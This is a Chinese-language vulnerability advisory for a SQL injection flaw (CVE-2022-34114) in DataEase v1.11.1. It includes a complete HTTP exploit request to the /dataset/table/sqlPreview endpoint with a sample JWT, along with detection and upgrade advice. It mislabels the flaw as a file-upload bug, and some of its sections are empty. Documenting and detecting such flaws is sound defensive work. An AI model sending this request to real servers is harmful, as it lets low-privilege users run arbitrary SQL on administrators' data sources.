DataEase SQL注入漏洞 (CVE-2022-34114)
*一、漏洞概述 **
*1.1 漏洞简介*
·漏洞名称:DataEase SQL注入漏洞
·漏洞编号: CVE-2022-34114
·漏洞类型:文件上传漏洞
·漏洞威胁等级:高危
·影响范围:DataEase v1.11.1
·利用条件:DataEase v1.11.1
*1.2 组件描述*
DataEase是一个开源的数据可视化分析工具。用于帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。
*1.3 漏洞描述*
DataEase v1.11.1 存在SQL注入漏洞,该漏洞源于普通权限用户可调用 /dataset/table/sqlPreview 接口。
*二、漏洞复现*
*2.1 应用协议*
http
*2.2 环境搭建*
1.一键部署
2.访问80端口
*2.3 漏洞复现 **
普通权限用户可调用 /dataset/table/sqlPreview 接口。实现过程中主要需要两个参数:DataSourceId和 sql,dataSourceId可通过查看数据源获取。
该漏洞未对Authorization部分进行校验,导致管理员拥有的特殊权限,普通用户可以利用获取管理员的数据源dataSourceId,写入sql数据集,从而产生用户越权的sql注入攻击。
payload如下:
POST /dataset/table/sqlPreview HTTP/1.1
Host: 192.168.91.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2ODkwNjYyMjUsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.cx778CACi6pswybKV32bWfvTH5W6Z2XTq-61TIa81BM;
LINK-PWD-TOKEN: null
Content-Length: 97
Connection: close
{“dataSourceId”:“76026997-94f9-4a35-96ca-151084638969”,“info”:“{“sql”:“select version()”}”}
*三、漏洞分析*
*3.1 技术背景*
\
*3.2 代码分析*
采用MyBatis框架,采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处存在SQL注入
*3.3 流量分析 **
*3.4 绕过方式*
\
*四、漏洞检测*
*4.1 组件版本自检*
以下版本受该漏洞影响: v1.11.1
目前最高版本:V1.18.8
*4.2 研判建议 **
将Authorization字段后的数据base64解码,观察不应该含有admin(admin为管理员正常数据库业务),观察请求体中是否包含恶意payload,同时dataSourceId后为管理员用户的数据源,观察相应包是否做出响应
*五、防范建议*
*5.1 官方修复建议*
v1.11.2修复该漏洞
https://github.com/dataease/dataease/releases/tag/v1.11.2
将Authorization部分做了限制,若不是admin,则无权限
*5.2 临时修复建议*
写入关键字过滤规则,黑名单等
六、*参考链接*
源码下载url:https://github.com/dataease/dataease